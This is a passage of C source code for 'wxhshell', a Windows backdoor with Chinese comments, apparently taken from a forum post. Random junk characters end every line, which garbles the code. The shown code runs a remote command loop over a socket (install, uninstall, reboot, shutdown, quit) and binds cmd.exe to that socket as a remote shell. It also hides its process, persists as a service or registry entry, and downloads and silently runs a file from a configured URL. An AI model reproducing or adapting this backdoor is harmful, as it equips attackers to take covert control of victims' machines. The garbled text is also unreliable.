  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BPt? 3tC  
  } *w*>\ZhOm  
  else { H~Vf;k>  
e]88 4FP  
    switch(cmd[0]) { JRFUNy1+e1  
  bK~Toz< k  
  // 帮助 Sm4BZF~!B  
  case '?': { 0: hv6Ge^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `}=R  
    break; o&%v"#H2  
  } (M$>*O3SR  
  // 安装 &Q?@VN i  
  case 'i': { I]e+5 E0  
    if(Install()) x$BNFb%I1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EC,`t*<  
    else yFDeY PZP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iD_y@+iz  
    break; Y 2ANt w@  
    } X=]utn  
  // 卸载 JJ?rVq1g  
  case 'r': { C){Q;`M-<  
    if(Uninstall()) s)qrlv5H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Muk J^h*V  
    else qovsM M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EyPJ Jc8  
    break; /CsP@f_Gw  
    } YQG l8E'  
  // 显示 wxhshell 所在路径 PJN9[Y{^3  
  case 'p': { [ZSC]w^  
    char svExeFile[MAX_PATH]; L@(. i  
    strcpy(svExeFile,"\n\r"); \vT~2Y(K  
      strcat(svExeFile,ExeFile); m- <y|3  
        send(wsh,svExeFile,strlen(svExeFile),0); m#RJRuZ|2V  
    break; e3;D1@  
    } d%'#-w'  
  // 重启 u)r/#fUZ  
  case 'b': { tp cB}HUv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I{(!h90  
    if(Boot(REBOOT)) WC~;t4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \]Ah=`  
    else { ! s =$UC  
    closesocket(wsh); Gr2}N"X=  
    ExitThread(0); t(*n[7e  
    } n~yKq"^  
    break;  1}=D  
    } LQPQ !):;  
  // 关机 'xqyG XI  
  case 'd': { WkA47+DsV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cl^UFl f[  
    if(Boot(SHUTDOWN)) Bzwll  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [y`G p#  
    else { q ][kD2  
    closesocket(wsh); LvG$J*  
    ExitThread(0); _r3Y$^!U  
    } ?l6yLn5si^  
    break; $mM"C+dD  
    } ^R@)CIQ  
  // 获取shell Z. gb'  
  case 's': { &EV%g6  
    CmdShell(wsh); s|<n7 =J  
    closesocket(wsh); ON\bD?(VY  
    ExitThread(0); 7Fo^ :"  
    break; Gpxp8[ {  
  } 1M??@@X  
  // 退出 RG45S0Ygj  
  case 'x': { BGibBF^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8`+=~S  
    CloseIt(wsh); GW>F:<p  
    break; =A6*;T"W  
    } wGLMLbj5  
  // 离开 ENhLonM eV  
  case 'q': { g]&fyB#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Z#Nh@!+C  
    closesocket(wsh); 2K>1,[C'Z  
    WSACleanup(); RM_%u=jC  
    exit(1); 6t;;Fz  
    break; q#AEu xI1  
        } 3<XuJ1V&  
  } SV t~pE+Y  
  } MS""-zn<  
yGtTD9j  
  // 提示信息 K]$PRg1| 3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V6dq8Z"h  
} p}pRf@(`\  
  } cL#-vW<s3  
B;[ .u>f  
  return; <1I4JPh>x  
} 9RlJf=Z#H  
vcQl0+&  
// shell模块句柄 3mU~G}ig  
int CmdShell(SOCKET sock) @* vVc`;  
{ 4$VDJ  
STARTUPINFO si; =|AYT6z,  
ZeroMemory(&si,sizeof(si)); %( 7##f_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5;KJ0N*-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #:BkDidt2v  
PROCESS_INFORMATION ProcessInfo; *yT>  
char cmdline[]="cmd"; wyX3qH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |1CX?8)b=  
  return 0; i;{lY1  
} ' 8)kFR^9  
v*Gd=\88  
// 自身启动模式 A3tv'-e9  
int StartFromService(void) DQK?y=vf  
{ AjEy@ /  
typedef struct 5B)&;[  
{ e bp t/q[  
  DWORD ExitStatus; sDNWB_~  
  DWORD PebBaseAddress; /v9qrZ$$  
  DWORD AffinityMask; ( gg )?  
  DWORD BasePriority; O0jOI3/P%  
  ULONG UniqueProcessId; `>UUdv{C  
  ULONG InheritedFromUniqueProcessId; !0lk}Uzkh  
}   PROCESS_BASIC_INFORMATION; j"6|$Ze8  
:y7K3:d3  
PROCNTQSIP NtQueryInformationProcess; 0fX` >-X  
cdkEK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kP$ E+L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2F*>&n&Db7  
_D}3``  
  HANDLE             hProcess; )rP,+B?W  
  PROCESS_BASIC_INFORMATION pbi; Kw"e4 a  
nZnqXclzxn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hK)'dG*  
  if(NULL == hInst ) return 0; n[e C  
AP%R*0]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RK-bsf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?3K~4-!? /  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); glCpA$;VPu  
,Tar?&C:  
  if (!NtQueryInformationProcess) return 0; l4i 51S"  
Htr]_<@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7+f6?  
  if(!hProcess) return 0; uMva5o  
8y6dT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s"#N;  
\5&Mg81  
  CloseHandle(hProcess); ]QR]#[Tn'  
*cM=>3ws/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n\D/WLvM  
if(hProcess==NULL) return 0; 9;%$  
2?%4|@*H?  
HMODULE hMod; 0qNmao4E_  
char procName[255]; Xj+_"0 #  
unsigned long cbNeeded; _4) t  
:'%|LBc0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cO{NiRIb  
QyL]-zNg  
  CloseHandle(hProcess); 7r?,wM  
%t,42jQ9  
if(strstr(procName,"services")) return 1; // 以服务启动 1lIs jBo g  
2~/`L=L  
  return 0; // 注册表启动 U@).jpN  
} l=9D!6 4  
0 N7I:vJ  
// 主模块 0vLx={i  
int StartWxhshell(LPSTR lpCmdLine) 9~j"6wS  
{ Gi-pi=#&cs  
  SOCKET wsl; DZL(G [  
BOOL val=TRUE; 5P #._Em  
  int port=0; G3|23G.~)(  
  struct sockaddr_in door; z =H?@z  
='D%c^;O8'  
  if(wscfg.ws_autoins) Install(); HLz<C  
 ::02?  
port=atoi(lpCmdLine); s[{8:Px  
}Y.@:v j  
if(port<=0) port=wscfg.ws_port; = .S2gO >  
b/\O;o}]  
  WSADATA data; ,B;mG]_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mQ}\ptdfV  
jo"+_)]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &/uakkS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \4$Nx/@Q}  
  door.sin_family = AF_INET; o"RE4s\G~r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F ! v01]O  
  door.sin_port = htons(port); /oe0  
6 T~+vT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IA1O]i S  
closesocket(wsl); S|u5RU8*"|  
return 1; oU3gy[wF;b  
} GPAC0K^p  
nq7)0F%e  
  if(listen(wsl,2) == INVALID_SOCKET) { 8z=o.\@  
closesocket(wsl); Jt8M;Yk  
return 1; a&[[@1OY  
} wAR:GO'n  
  Wxhshell(wsl); jc6~V$3  
  WSACleanup(); A+Je?3/.  
4mBM5Tv  
return 0; $?: -A  
G@ybx[_[@  
} /mE:2K]C  
PK?}hz  
// 以NT服务方式启动 {XhpxJ__  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *X|%H-Q:H`  
{ :1iXBG\  
DWORD   status = 0; aM[fag$c  
  DWORD   specificError = 0xfffffff; qy\SOA h  
OB,T>o@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~|KMxY(:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Grd9yLF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jq/{|<0  
  serviceStatus.dwWin32ExitCode     = 0; mn<ea&  
  serviceStatus.dwServiceSpecificExitCode = 0; &:+_{nc,  
  serviceStatus.dwCheckPoint       = 0; rUiUv(q  
  serviceStatus.dwWaitHint       = 0; *OE>gg&?Nh  
H~hAm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GEb)nHQq  
  if (hServiceStatusHandle==0) return; lgAE`Os  
=(k0^ #++G  
status = GetLastError(); I#p-P)Q%S  
  if (status!=NO_ERROR) S 1Ji\  
{ Y50$ 2%kM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |4Q><6"G  
    serviceStatus.dwCheckPoint       = 0; Q;1$gImFz  
    serviceStatus.dwWaitHint       = 0; p:U{3uN 62  
    serviceStatus.dwWin32ExitCode     = status; P#Ikj& l   
    serviceStatus.dwServiceSpecificExitCode = specificError; gD fVY%[Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1hp@.Fv  
    return; L/cbq*L  
  } 2,%ne(  
z<P#dj x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &9g#Vq%   
  serviceStatus.dwCheckPoint       = 0; & l|B>{4v  
  serviceStatus.dwWaitHint       = 0; c Ky%0oTla  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z#*GPA8Em:  
} u09OnP\  
')FNudsC  
// 处理NT服务事件,比如:启动、停止 Bp6Evi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +~/zCJ;F  
{ `0 F"zu  
switch(fdwControl) ?,),%JQ  
{ Ox43(S0~  
case SERVICE_CONTROL_STOP: q C|re!K  
  serviceStatus.dwWin32ExitCode = 0; EGMcU| yL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )I}G:bBa  
  serviceStatus.dwCheckPoint   = 0; h/w- &7t  
  serviceStatus.dwWaitHint     = 0; ,wEM  
  { q{JD]A:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =O _[9kuJ  
  } p9sxA|O=y  
  return; SI(8.$1  
case SERVICE_CONTROL_PAUSE: >) :d38M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?%0i,p@<  
  break; F^~#D, \  
case SERVICE_CONTROL_CONTINUE: r#~6FpFVK^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5Q'R5]?h  
  break; Q\z*q,^R  
case SERVICE_CONTROL_INTERROGATE: xO@OkCue  
  break; UX9o  
}; Ek. j@79  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~gDtj&F  
} )T+htD)  
tw')2UGg  
// 标准应用程序主函数 K=>/(s Wiq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q& \k"X1  
{ ,J#5Y.  
u60l-  
// 获取操作系统版本 MLb\:Ihy  
OsIsNt=GetOsVer(); vNt2s)J$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =w5w=qB  
={oO9.9  
  // 从命令行安装 M;bQid@BG  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;g*6NzdA  
C!P6Z10+j  
  // 下载执行文件 m4 (Fuu  
if(wscfg.ws_downexe) { oAx0$]+%V)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q.t5L=l^ r  
  WinExec(wscfg.ws_filenam,SW_HIDE); kgu+ q\?  
} HTG;'$H^  
J5"*OH:f  
if(!OsIsNt) { L$Q+R'  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^eRuj)$5A  
HideProc(); ~eP 2PG  
StartWxhshell(lpCmdLine); ?~{xL"  
} YGO@X(ej,  
else Z-?9F`}  
  if(StartFromService()) CAA~VEUL  
  // 以服务方式启动 #wyS?FP-  
  StartServiceCtrlDispatcher(DispatchTable); )em.KbsPPF  
else m @%|Q;  
  // 普通方式启动 2o/`8+eJu  
  StartWxhshell(lpCmdLine); ;z>YwRV  
,L;vN6~  
return 0; `dZ|}4[1  
}
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只看该作者 1 发表于: 2006-10-10
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